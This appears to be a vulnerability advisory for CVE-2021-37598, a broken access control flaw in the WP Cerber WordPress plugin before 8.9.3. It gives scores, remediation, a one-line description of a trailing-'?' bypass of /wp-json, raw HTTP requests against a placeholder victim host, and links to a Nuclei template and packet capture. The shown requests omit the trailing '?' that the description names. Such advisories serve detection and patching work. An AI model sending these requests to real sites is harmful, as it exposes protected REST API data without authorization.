| Title | WP Cerber < 8.9.3 - Broken Access Control |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Unauthorized users can access protected REST API endpoints, potentially leading to information disclosure or further exploitation. |
| Remediation | Update to version 8.9.3 or later. |
| CVSS Score | 5.3 |
| EPSS Score | 0.04574 |
| CVE ID | CVE-2021-37598 |
| CWE ID | CWE-863 |
| Tags | cve cve2021 wordpress wp-cerber access-control rest-api exposure auth-bypass |
WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing ‘?’ character, letting unauthorized users access protected REST API endpoints, exploit requires sending a request with a trailing ‘?’.
GET /wp-json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-37598.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-37598.pcap
N/AN/A